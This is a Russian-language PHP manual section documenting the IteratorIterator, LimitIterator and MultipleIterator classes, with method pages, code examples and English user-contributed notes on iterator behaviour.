Этот итератор-обёртка позволяет преобразовывать все, что является "обходимым" (Traversable) в итератор. Важно понимать, что большинство классов, которые не реализуют итераторы, имеют на то причины, так как, скорее всего, они не позволяют реализовать полный набор возможностей итератора. Если так, то должны быть предприняты меры для предотвращения неправильного использования, иначе можно ожидать исключений или фатальных ошибок.

Обзор классов

class IteratorIterator implements OuterIterator {
/* Методы */
public __construct(Traversable $iterator, ?string $class = null)
public current(): mixed
public getInnerIterator(): ?Iterator
public key(): mixed
public next(): void
public rewind(): void
public valid(): bool
}

Примечания

Замечание:

Этот класс разрешает доступ к методам внутреннего итератора через магический метод __call.

Содержание

  • IteratorIterator::__construct — Создаёт итератор из чего-либо, что является обходимым (traversable)
  • IteratorIterator::current — Получает текущее значение
  • IteratorIterator::getInnerIterator — Получает внутренний итератор
  • IteratorIterator::key — Получает ключ текущего элемента
  • IteratorIterator::next — Перемещает итератор к следующему элементу
  • IteratorIterator::rewind — Возвращает итератор к первому элементу
  • IteratorIterator::valid — Проверяет, является ли итератор допустимым

User Contributed Notes

thomas at gielfeldt dot dk 20-Apr-2017 10:33
IteratorIterator::current() does not invoke the inner iterator's current() method.

The inner iterator's current() method is invoked (and cached) on rewind() and next(). The same goes for key() and valid().

Example:
<?php

$i = new ArrayIterator(range(1,10));
$i = new IteratorIterator($i);
iterator_to_array($i); // Seek to the end
print "Valid: " . $i->valid() . "\n";
$i->append('test');
print "Valid: " . $i->valid() . "\n";
print "Current: " . $i->current() . "\n";

?>

Output:

Valid:
Valid:
Current:

Whereas:
<?php

$i = new ArrayIterator(range(1,10));
iterator_to_array($i); // Seek to the end
print "Valid: " . $i->valid() . "\n";
$i->append('test');
print "Valid: " . $i->valid() . "\n";
print "Current: " . $i->current() . "\n";
?>

Output:

Valid:
Valid: 1
Current: test

The reason being the way current(), key() and valid() are invoked by the IteratorIterator as mentioned above.
max-p at max-p dot me 12-Feb-2016 01:53
Little note for anyone that wants to emulate the behavior of foreach as close as possible in order to work with somewhat picky Traversable objects, without using foreach:

- Before starting the iteration, rewind() is called.
- For every iteration, the following methods are called on the iterator:
    - valid()
    - current()
    - key()
    - next()

Sounds like a silly thing to do put this way, but in my use case I needed to convert a Traversable database result cursor into a procedural-style cursor (hasNext + fetchArray) for backward compatibility, and the driver required every function to be called in the appropriate order.
wallacemaxters at gmail dot lcom 15-Jan-2016 04:46
Another example of the efficiency for IteratorIterator is a small class for enumerate for iterations of an interator implementation.

Example:

<?php

class Enumerator extends IteratorIterator
{
    /**
    * Initial value for enumerator
    * @param int
    */
    protected $start = 0;

    /**
    * @param int
    */
    protected $key = 0;

    /**
    * @param Traversable $iterator
    * @param scalar $start
    */
    public function __construct(Traversable $iterator, $start = 0)
    {
        parent::__construct($iterator);

        $this->start = $start;

        $this->key = $this->start;
    }

    public function key()var_dump
    {
        return $this->key;
    }

    public function next()
    {
        ++$this->key;

        parent::next();
    }

    public function rewind()
    {
        $this->key = $this->start;

        parent::rewind();
    }

}
?>

This produces:

<?php

$enumerator = new Enumerator(
       new ArrayIterator(['php', 'java', 'python']); 7000
);

print_r(iterator_to_array($enumerator));

/*
*    array(3) {
           7000 => 'php',
           7001 => 'java',
           7002 => 'python'
     }
*/

?>
sven at rtbg dot de 15-Apr-2015 08:57
This iterator basically is only a wrapper around another iterator. It does nothing fancy, it simply forwards any calls of rewind(), next(), valid(), current() and key() to the inner iterator. This inner iterator can be fetched with getInnerIterator().

One special case: When passing an IteratorAggregate object, the getIterator() method of that object will be called and THAT iterator will be iterated over, and this will also be returned when calling getInnerIterator().

This class can be extended, so it's an ideal building block for your own classes that only want to modify one or two of the iterator methods, but not all.

Want to trim the strings returned by the current() method?

<?php

class TrimIterator extends IteratorIterator
{
    public function current() {
        return trim(parent::current());
    }
}

$innerIterator = new ArrayIterator(array('normal', ' trimmable '));

$trim = new TrimIterator($innerIterator);

foreach ($trim as $key => $value) {
    echo "Key:\n";
    var_dump($key);
    echo "Value:\n";
    var_dump($value);
    echo "---next---";
}
?>

Output:

Key:
int(0)
Value:
string(6) "normal"
---next---Key:
int(1)
Value:
string(9) "trimmable"
---next---


Создаёт итератор из чего-либо, что является обходимым (traversable)

  • « IteratorIterator
  • IteratorIterator::current »
  • PHP Manual
  • IteratorIterator
  • Создаёт итератор из чего-либо, что является обходимым (traversable)

IteratorIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::__construct — Создаёт итератор из чего-либо, что является обходимым (traversable)

Описание

public IteratorIterator::__construct(Traversable $iterator, ?string $class = null)

Создаёт итератор из чего-либо, что является обходимым (traversable).

Список параметров

iterator

Обходимый (traversable) итератор.

class

Имя класса, используемого для внутреннего итератора. Позволяет указать другой класс итератора для обёртывания предоставленного итератора. По умолчанию будет использоваться класс IteratorIterator.

Смотрите также

  • Traversable

User Contributed Notes

There are no user contributed notes for this page.


Получает текущее значение

  • « IteratorIterator::__construct
  • IteratorIterator::getInnerIterator »
  • PHP Manual
  • IteratorIterator
  • Получает текущее значение

IteratorIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::current — Получает текущее значение

Описание

public IteratorIterator::current(): mixed

Получает значение текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Значение текущего элемента.

Смотрите также

  • IteratorIterator::key() - Получает ключ текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Получает внутренний итератор

  • « IteratorIterator::current
  • IteratorIterator::key »
  • PHP Manual
  • IteratorIterator
  • Получает внутренний итератор

IteratorIterator::getInnerIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::getInnerIterator — Получает внутренний итератор

Описание

public IteratorIterator::getInnerIterator(): ?Iterator

Получает внутренний итератор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Внутренний итератор, который был передан методу IteratorIterator::__construct() или null, если внутренний итератор отсутствует.

Смотрите также

  • Iterator
  • OuterIterator

User Contributed Notes

c dot 1 at smithies dot org 04-May-2016 08:06
The returned value from getInnerIterator() really is the inner iterator, not a clone. It should be used with respect: calling next() or rewind() on it, for example, will advance or reset the inner iterator - although the effect won't be noticed until you call next() on the IteratorIterator object - it seems as if it caches its current() and key() values (as of PHP v5.5.9). Even if the inner iterator itself is valid (i.e. valid() returns TRUE) the IteratorIterator won't report itself as valid until you either rewind it or call its next() method - these two methods cause the IteratorIterator to re-sync its current, key and valid states with the inner iterator.

<?php
$ii = new IteratorIterator(new ArrayIterator(range(1,6)));
$i1 = $ii->getInnerIterator(); // gets the real thing
$i2 = $ii->getInnerIterator(); // ditto: $i2 === $i1 and the two are therefore in sync.
echo $i1->current(); // 1
echo $i1->key(); // 0
var_dump($ii->valid()); // FALSE
$i1->next(); // affects $i2, which is identical
echo $i1->key(); // 1
var_dump($ii->valid()); // still FALSE
$ii->rewind(); // rewinds $i1 and synchronizes
echo $ii->key(); // 0, as is $i1->key()
$i1->next(); // advances the inner iterator, which is now out of sync
echo $ii->key(); // still 0
echo $i1->key(); // 1
$ii->next(); // advances the inner iterator and syncs with it
echo $ii->key(); // 2
echo $i1->key(); // 2
?>


Получает ключ текущего элемента

  • « IteratorIterator::getInnerIterator
  • IteratorIterator::next »
  • PHP Manual
  • IteratorIterator
  • Получает ключ текущего элемента

IteratorIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::key — Получает ключ текущего элемента

Описание

public IteratorIterator::key(): mixed

Получает ключ текущего элемента.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Ключ текущего элемента.

Смотрите также

  • IteratorIterator::current() - Получает текущее значение

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор к следующему элементу

  • « IteratorIterator::key
  • IteratorIterator::rewind »
  • PHP Manual
  • IteratorIterator
  • Перемещает итератор к следующему элементу

IteratorIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::next — Перемещает итератор к следующему элементу

Описание

public IteratorIterator::next(): void

Перемещает итератор к следующему элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • IteratorIterator::rewind() - Возвращает итератор к первому элементу
  • IteratorIterator::valid() - Проверяет, является ли итератор допустимым

User Contributed Notes

There are no user contributed notes for this page.


Возвращает итератор к первому элементу

  • « IteratorIterator::next
  • IteratorIterator::valid »
  • PHP Manual
  • IteratorIterator
  • Возвращает итератор к первому элементу

IteratorIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::rewind — Возвращает итератор к первому элементу

Описание

public IteratorIterator::rewind(): void

Возвращает итератор к первому элементу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • IteratorIterator::next() - Перемещает итератор к следующему элементу
  • IteratorIterator::valid() - Проверяет, является ли итератор допустимым

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, является ли итератор допустимым

  • « IteratorIterator::rewind
  • LimitIterator »
  • PHP Manual
  • IteratorIterator
  • Проверяет, является ли итератор допустимым

IteratorIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

IteratorIterator::valid — Проверяет, является ли итератор допустимым

Описание

public IteratorIterator::valid(): bool

Проверяет, является ли итератор допустимым.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если итератор является допустимым, в противном случае возвращает false

Смотрите также

  • iterator_count() - Подсчитывает количество элементов в итераторе
  • IteratorIterator::current() - Получает текущее значение

User Contributed Notes

mike at eastghost dot com 18-Jan-2018 03:24
An Iterator is "valid" when it has additional elements, beyond its element index.

Said another way: After an Iterator is next()'d to its final element, the Iterator is no longer "valid".

Said another way: A "hasNext" check would simply return ::valid()


Класс LimitIterator

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

Введение

Класс LimitIterator позволяет сделать перебор ограниченного количества элементов в Iterator.

Обзор классов

class LimitIterator extends IteratorIterator {
/* Методы */
public __construct(Iterator $iterator, int $offset = 0, int $limit = -1)
public current(): mixed
public getPosition(): int
public key(): mixed
public next(): void
public rewind(): void
public seek(int $offset): int
public valid(): bool
/* Наследуемые методы */
public IteratorIterator::current(): mixed
public IteratorIterator::getInnerIterator(): ?Iterator
public IteratorIterator::key(): mixed
public IteratorIterator::next(): void
public IteratorIterator::rewind(): void
public IteratorIterator::valid(): bool
}

Примеры

Пример #1 Пример использования LimitIterator

<?php

// Создать итератор для ограничения
$fruits = new ArrayIterator(array(
'apple',
'banana',
'cherry',
'damson',
'elderberry'
));

// Цикл только по первым трём фруктам
foreach (new LimitIterator($fruits, 0, 3) as $fruit) {
var_dump($fruit);
}

echo "\n";

// Цикл, начиная с третьего фрукта и до конца
// Примечание: смещение начинается с нуля для яблока
foreach (new LimitIterator($fruits, 2) as $fruit) {
var_dump($fruit);
}

?>

Результат выполнения данного примера:

string(5) "apple"
string(6) "banana"
string(6) "cherry"

string(6) "cherry"
string(6) "damson"
string(10) "elderberry"

Содержание

  • LimitIterator::__construct — Конструктор класса LimitIterator
  • LimitIterator::current — Получение текущего элемента
  • LimitIterator::getPosition — Возвращает текущую позицию
  • LimitIterator::key — Получение текущего ключа
  • LimitIterator::next — Перемещение к следующей позиции
  • LimitIterator::rewind — Перемещает указатель на начальную позицию
  • LimitIterator::seek — Перемещает итератор на заданную позицию
  • LimitIterator::valid — Проверяет валидность текущего элемента

User Contributed Notes

christophg at grenz-bonn dot de 15-Jul-2021 11:21
If the inner iterator implements SeekableIterator, LimitIterator uses seek() after rewind() to move to the offset.


Конструктор класса LimitIterator

  • « LimitIterator
  • LimitIterator::current »
  • PHP Manual
  • LimitIterator
  • Конструктор класса LimitIterator

LimitIterator::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::__construct — Конструктор класса LimitIterator

Описание

public LimitIterator::__construct(Iterator $iterator, int $offset = 0, int $limit = -1)

Создаёт новый объект класса LimitIterator на основе заданного объекта iterator, начального смещения offset и максимального числа итераций limit.

Список параметров

iterator

Объект-итератор Iterator, число итераций которого требуется ограничить.

offset

Необязательное начальное смещение.

limit

Необязательное ограничение количества итераций.

Ошибки

Выбрасывает исключение ValueError, если смещение offset окажется меньше 0, либо если limit окажется меньше -1.

Список изменений

Версия | Описание
8.0.0 | Теперь выбрасывает исключение ValueError, если смещение offset окажется меньше 0; ранее выбрасывалось исключение RuntimeException.
8.0.0 | Теперь выбрасывает исключение ValueError, если смещение limit окажется меньше -1; ранее выбрасывалось исключение RuntimeException.

Примеры

Пример #1 Пример использования LimitIterator::__construct()

<?php
$ait = new ArrayIterator(array('a', 'b', 'c', 'd', 'e'));
$lit = new LimitIterator($ait, 1, 3);
foreach ($lit as $value) {
echo $value . "\n";
}
?>

Результат выполнения данного примера:

b
c
d

Смотрите также

  • Примеры использования LimitIterator

User Contributed Notes

There are no user contributed notes for this page.


Получение текущего элемента

  • « LimitIterator::__construct
  • LimitIterator::getPosition »
  • PHP Manual
  • LimitIterator
  • Получение текущего элемента

LimitIterator::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::current — Получение текущего элемента

Описание

public LimitIterator::current(): mixed

Получает текущий элемент, на который ссылается внутренний указатель Iterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущий элемент или null, если такового нет.

Смотрите также

  • LimitIterator::key() - Получение текущего ключа
  • LimitIterator::next() - Перемещение к следующей позиции
  • LimitIterator::rewind() - Перемещает указатель на начальную позицию
  • LimitIterator::seek() - Перемещает итератор на заданную позицию
  • LimitIterator::valid() - Проверяет валидность текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущую позицию

  • « LimitIterator::current
  • LimitIterator::key »
  • PHP Manual
  • LimitIterator
  • Возвращает текущую позицию

LimitIterator::getPosition

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::getPosition — Возвращает текущую позицию

Описание

public LimitIterator::getPosition(): int

Возвращает текущую позицию (начиная с 0) внутреннего объекта-итератора Iterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Текущая позиция.

Примеры

Пример #1 Пример использования LimitIterator::getPosition()

<?php
$fruits = array(
'a' => 'apple',
'b' => 'banana',
'c' => 'cherry',
'd' => 'damson',
'e' => 'elderberry'
);
$array_it = new ArrayIterator($fruits);
$limit_it = new LimitIterator($array_it, 2, 3);
foreach ($limit_it as $item) {
echo $limit_it->getPosition() . ' ' . $item . "\n";
}
?>

Результат выполнения данного примера:

2 cherry
3 damson
4 elderberry

Смотрите также

  • FilterIterator::key() - Получает текущий ключ

User Contributed Notes

There are no user contributed notes for this page.


Получение текущего ключа

  • « LimitIterator::getPosition
  • LimitIterator::next »
  • PHP Manual
  • LimitIterator
  • Получение текущего ключа

LimitIterator::key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::key — Получение текущего ключа

Описание

public LimitIterator::key(): mixed

Возвращает ключ текущего элемента на который указывает внутренний объект-итератор Iterator.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ключ текущего элемента.

Смотрите также

  • LimitIterator::getPosition() - Возвращает текущую позицию
  • LimitIterator::current() - Получение текущего элемента
  • LimitIterator::next() - Перемещение к следующей позиции
  • LimitIterator::rewind() - Перемещает указатель на начальную позицию
  • LimitIterator::seek() - Перемещает итератор на заданную позицию
  • LimitIterator::valid() - Проверяет валидность текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещение к следующей позиции

  • « LimitIterator::key
  • LimitIterator::rewind »
  • PHP Manual
  • LimitIterator
  • Перемещение к следующей позиции

LimitIterator::next

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::next — Перемещение к следующей позиции

Описание

public LimitIterator::next(): void

Перемещает итератор к следующей позиции.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • LimitIterator::current() - Получение текущего элемента
  • LimitIterator::key() - Получение текущего ключа
  • LimitIterator::rewind() - Перемещает указатель на начальную позицию
  • LimitIterator::seek() - Перемещает итератор на заданную позицию
  • LimitIterator::valid() - Проверяет валидность текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указатель на начальную позицию

  • « LimitIterator::next
  • LimitIterator::seek »
  • PHP Manual
  • LimitIterator
  • Перемещает указатель на начальную позицию

LimitIterator::rewind

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::rewind — Перемещает указатель на начальную позицию

Описание

public LimitIterator::rewind(): void

Перемещает итератор на начальную позицию, заданную при создании объекта конструктором LimitIterator::__construct().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • LimitIterator::current() - Получение текущего элемента
  • LimitIterator::key() - Получение текущего ключа
  • LimitIterator::next() - Перемещение к следующей позиции
  • LimitIterator::seek() - Перемещает итератор на заданную позицию
  • LimitIterator::valid() - Проверяет валидность текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Перемещает итератор на заданную позицию

  • « LimitIterator::rewind
  • LimitIterator::valid »
  • PHP Manual
  • LimitIterator
  • Перемещает итератор на заданную позицию

LimitIterator::seek

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::seek — Перемещает итератор на заданную позицию

Описание

public LimitIterator::seek(int $offset): int

Перемещает указатель на заданную позицию offset.

Список параметров

offset

Позиция, на которую требуется переместить указатель.

Возвращаемые значения

Возвращает смещение от начальной позиции после перемещения.

Ошибки

Выбрасывает исключение OutOfBoundsException, если заданная позиция выходит за пределы, переданные конструктору LimitIterator::__construct().

Смотрите также

  • LimitIterator::current() - Получение текущего элемента
  • LimitIterator::key() - Получение текущего ключа
  • LimitIterator::rewind() - Перемещает указатель на начальную позицию
  • LimitIterator::next() - Перемещение к следующей позиции
  • LimitIterator::valid() - Проверяет валидность текущего элемента

User Contributed Notes

There are no user contributed notes for this page.


Проверяет валидность текущего элемента

  • « LimitIterator::seek
  • MultipleIterator »
  • PHP Manual
  • LimitIterator
  • Проверяет валидность текущего элемента

LimitIterator::valid

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

LimitIterator::valid — Проверяет валидность текущего элемента

Описание

public LimitIterator::valid(): bool

Проверяет, имеет ли текущий элемент допустимое значение.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • LimitIterator::current() - Получение текущего элемента
  • LimitIterator::key() - Получение текущего ключа
  • LimitIterator::rewind() - Перемещает указатель на начальную позицию
  • LimitIterator::next() - Перемещение к следующей позиции
  • LimitIterator::seek() - Перемещает итератор на заданную позицию

User Contributed Notes

There are no user contributed notes for this page.


Класс MultipleIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

Введение

Итератор, который последовательно перебирает по всем присоединённым итераторам

Обзор классов

class MultipleIterator implements Iterator {
/* Константы */
public const int MIT_NEED_ANY;
public const int MIT_NEED_ALL;
public const int MIT_KEYS_NUMERIC;
public const int MIT_KEYS_ASSOC;
/* Методы */
public __construct(int $flags = MultipleIterator::MIT_NEED_ALL | MultipleIterator::MIT_KEYS_NUMERIC)
public attachIterator(Iterator $iterator, string|int|null $info = null): void
public containsIterator(Iterator $iterator): bool
public countIterators(): int
public current(): array
public detachIterator(Iterator $iterator): void
public getFlags(): int
public key(): array
public next(): void
public rewind(): void
public setFlags(int $flags): void
public valid(): bool
}

Предопределённые константы

MultipleIterator::MIT_NEED_ANY

Не требовать, чтобы все подытераторы были действительными в итерации.

MultipleIterator::MIT_NEED_ALL

Требовать, чтобы все подытераторы были действительными в итерации.

MultipleIterator::MIT_KEYS_NUMERIC

Ключи создаются из позиции подытераторов.

MultipleIterator::MIT_KEYS_ASSOC

Ключи создаются из связанной с подытераторами информации.

Содержание

  • MultipleIterator::attachIterator — Присоединяет итератор
  • MultipleIterator::__construct — Создаёт новый MultipleIterator
  • MultipleIterator::containsIterator — Проверяет, присоединён ли итератор
  • MultipleIterator::countIterators — Получает число присоединённых итераторов
  • MultipleIterator::current — Получает зарегистрированные итераторы
  • MultipleIterator::detachIterator — Отсоединяет итератор
  • MultipleIterator::getFlags — Получает информацию о флагах
  • MultipleIterator::key — Получает зарегистрированные итераторы
  • MultipleIterator::next — Перемещает все присоединённые итераторы к своим следующим элементам
  • MultipleIterator::rewind — Возвращает в начало все присоединённые итераторы
  • MultipleIterator::setFlags — Устанавливает флаги
  • MultipleIterator::valid — Проверяет корректность подытераторов

User Contributed Notes

sven at rtbg dot de 15-Apr-2015 01:34
This iterator has a misleading name and description - it actually acts as a parallel iterator: You attach one or more iterators with a key, integer or NULL, and when you iterate over the MultipleIterator, as the result for current() you get ALL results from all attached iterators as an array (under the key or integer you attached it with), and the same is true for the key() call.

valid() will be valid if any or all iterators are valid, depending on the setting of the $flags - with ANY, you can iterate over a set of iterators with some of them ending before others, and get NULL results from these iterators until the last iterator is at it's end. With ALL, iteration stops when the first iterator stops delivering results.

next() and rewind() will be called on all attached iterators in every case.

<?php

$it1 = new ArrayIterator(array(1,2,3));
$it2 = new ArrayIterator(array(4,5,6));

$multipleIterator = new MultipleIterator(MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_ASSOC);

$multipleIterator->attachIterator($it1, 1);
$multipleIterator->attachIterator($it2, 'second');

foreach ($multipleIterator as $key => $value) {
    echo "Key\n"; var_dump($key);
    echo "Value\n"; var_dump($value);
    echo "---next---\n";
}
?>

Result with PHP 5.5.0 and up:

Key
array(2) {
  [1]=>
  int(0)
  ["second"]=>
  int(0)
}
Value
array(2) {
  [1]=>
  int(1)
  ["second"]=>
  int(4)
}
---next---
Key
array(2) {
  [1]=>
  int(1)
  ["second"]=>
  int(1)
}
Value
array(2) {
  [1]=>
  int(2)
  ["second"]=>
  int(5)
}
---next---
Key
array(2) {
  [1]=>
  int(2)
  ["second"]=>
  int(2)
}
Value
array(2) {
  [1]=>
  int(3)
  ["second"]=>
  int(6)
}
---next---

Note that PHP 5.4 and 5.3 do not support accessing the key() values in foreach loops because they expect them to not be an array - doing so will cause "Warning: Illegal type returned from MultipleIterator::key()" and the result of (int)0 as the key for all iterations.

Without the MultipleIterator::MIT_KEYS_ASSOC flag, the MultipleIterator will create numeric indices based on the order of attachment.


Присоединяет итератор

  • « MultipleIterator
  • MultipleIterator::__construct »
  • PHP Manual
  • MultipleIterator
  • Присоединяет итератор

MultipleIterator::attachIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::attachIterator — Присоединяет итератор

Описание

public MultipleIterator::attachIterator(Iterator $iterator, string|int|null $info = null): void

Присоединяет итератор.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Новый итератор для присоединения.

info

Ассоциативная информация для итератора (Iterator), которая должна быть представлена целым числом (int), строкой (string), или null.

Возвращаемые значения

Описание...

Ошибки

IllegalValueException, если параметр iterator недействителен, или если info содержит уже ассоциированную информацию.

Смотрите также

  • MultipleIterator::__construct() - Создаёт новый MultipleIterator

User Contributed Notes

DDT 12-Jan-2013 02:38
If you have multiple file upload fields named "files[]"...

<?php
if (isset($_FILES["files"])) {
   $uploads = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["name"]), "name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["size"]), "size");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["type"]), "type");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["tmp_name"]), "tmp_name");
   $uploads->attachIterator(new ArrayIterator((array) $_FILES["files"]["error"]), "error");

   foreach ($uploads as $file) {
      echo htmlspecialchars($file["name"]) . " = {$file["size"]} bytes<br/>";
   }
}
?>
andresdzphp at php dot net 27-Sep-2011 11:14
<?php
$ait_id = new ArrayIterator(array('c1001', 'c1002', 'c1003'));
$ait_name = new ArrayIterator(array('apple', 'orange', 'banana'));
$ait_units = new ArrayIterator(array(756, 996, 2345));

$mit = new MultipleIterator(MultipleIterator::MIT_KEYS_ASSOC);
$mit->attachIterator($ait_id, "ID");
$mit->attachIterator($ait_name, "NAME");
$mit->attachIterator($ait_units, "UNITS");

echo $mit->countIterators() . "\n"; //3

if ($mit->containsIterator($ait_id)) { //true
    echo "ait_id iterator attached \n";
}

foreach ($mit as $fruit) {
    echo "<pre>";
    print_r($fruit);
    echo "</pre>";
}
?>

Result:

3
ait_id iterator attached

Array
(
    [ID] => c1001
    [NAME] => apple
    [UNITS] => 756
)
Array
(
    [ID] => c1002
    [NAME] => orange
    [UNITS] => 996
)
Array
(
    [ID] => c1003
    [NAME] => banana
    [UNITS] => 2345
)


Создаёт новый MultipleIterator

  • « MultipleIterator::attachIterator
  • MultipleIterator::containsIterator »
  • PHP Manual
  • MultipleIterator
  • Создаёт новый MultipleIterator

MultipleIterator::__construct

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::__construct — Создаёт новый MultipleIterator

Описание

public MultipleIterator::__construct(int $flags = MultipleIterator::MIT_NEED_ALL | MultipleIterator::MIT_KEYS_NUMERIC)

Создаёт новый MultipleIterator.

Список параметров

flags

Флаги для установки, согласно Предопределённым константам.

  • MultipleIterator::MIT_NEED_ALL или MultipleIterator::MIT_NEED_ANY
  • MultipleIterator::MIT_KEYS_NUMERIC или MultipleIterator::MIT_KEYS_ASSOC

По умолчанию MultipleIterator::MIT_NEED_ALL|MultipleIterator::MIT_KEYS_NUMERIC.

Примеры

Пример #1 Итерирование MultipleIterator

<?php
$people = new ArrayIterator(array('John', 'Jane', 'Jack', 'Judy'));
$roles = new ArrayIterator(array('Developer', 'Scrum Master', 'Project Owner'));

$team = new MultipleIterator($flags);
$team->attachIterator($people, 'person');
$team->attachIterator($roles, 'role');

foreach ($team as $member) {
print_r($member);
}
?>

Вывод с $flags = MIT_NEED_ALL|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)

Вывод с $flags = MIT_NEED_ANY|MIT_KEYS_NUMERIC

Array
(
    [0] => John
    [1] => Developer
)
Array
(
    [0] => Jane
    [1] => Scrum Master
)
Array
(
    [0] => Jack
    [1] => Project Owner
)
Array
(
    [0] => Judy
    [1] =>
)

Вывод с $flags = MIT_NEED_ALL|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)

Вывод с $flags = MIT_NEED_ANY|MIT_KEYS_ASSOC

Array
(
    [person] => John
    [role] => Developer
)
Array
(
    [person] => Jane
    [role] => Scrum Master
)
Array
(
    [person] => Jack
    [role] => Project Owner
)
Array
(
    [person] => Judy
    [role] =>
)

Смотрите также

  • Предопределённые константы
  • MultipleIterator::valid() - Проверяет корректность подытераторов

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, присоединён ли итератор

  • « MultipleIterator::__construct
  • MultipleIterator::countIterators »
  • PHP Manual
  • MultipleIterator
  • Проверяет, присоединён ли итератор

MultipleIterator::containsIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::containsIterator — Проверяет, присоединён ли итератор

Описание

public MultipleIterator::containsIterator(Iterator $iterator): bool

Проверяет, присоединён итератор, или нет.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

iterator

Итератор для проверки.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • MultipleIterator::valid() - Проверяет корректность подытераторов

User Contributed Notes

There are no user contributed notes for this page.


Получает число присоединённых итераторов

  • « MultipleIterator::containsIterator
  • MultipleIterator::current »
  • PHP Manual
  • MultipleIterator
  • Получает число присоединённых итераторов

MultipleIterator::countIterators

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::countIterators — Получает число присоединённых итераторов

Описание

public MultipleIterator::countIterators(): int

Получает число присоединённых итераторов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Число присоединённых итераторов (в виде int).

Смотрите также

  • MultipleIterator::containsIterator() - Проверяет, присоединён ли итератор

User Contributed Notes

There are no user contributed notes for this page.


Получает зарегистрированные итераторы

  • « MultipleIterator::countIterators
  • MultipleIterator::detachIterator »
  • PHP Manual
  • MultipleIterator
  • Получает зарегистрированные итераторы

MultipleIterator::current

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

MultipleIterator::current — Получает зарегистрированные итераторы

Описание

public MultipleIterator::current(): array

Получает результат выполнения current() зарегистрированных итераторов.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) всех текущих значений каждого присоединённого итератора.

Ошибки

RuntimeException, если итератор недействителен (начиная с PHP 8.1.0) или установлен режим MIT_NEED_ALL и по крайней мере один присоединённый итератор недействителен. Или IllegalValueException, если ключ имеет значение null, а флаг MIT_KEYS_ASSOC установлен.

Список изменений

Версия | Описание
8.1.0 | Теперь выбрасывается исключение RuntimeException, если MultipleIterator::key() вызывается на недопустимом итераторе. Ранее вместо этого возвращалось значение false.

Смотрите также

  • MultipleIterator::valid() - Проверяет корректность подытераторов

User Contributed Notes

There are no user contributed notes for this page.


Отсоединяет итератор

  • « MultipleIterator::current
  • MultipleIterator::getFlags »
  • PHP Manual
  • MultipleIterator
  • Отсоединяет итератор

MultipleIterator::detachIterator

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

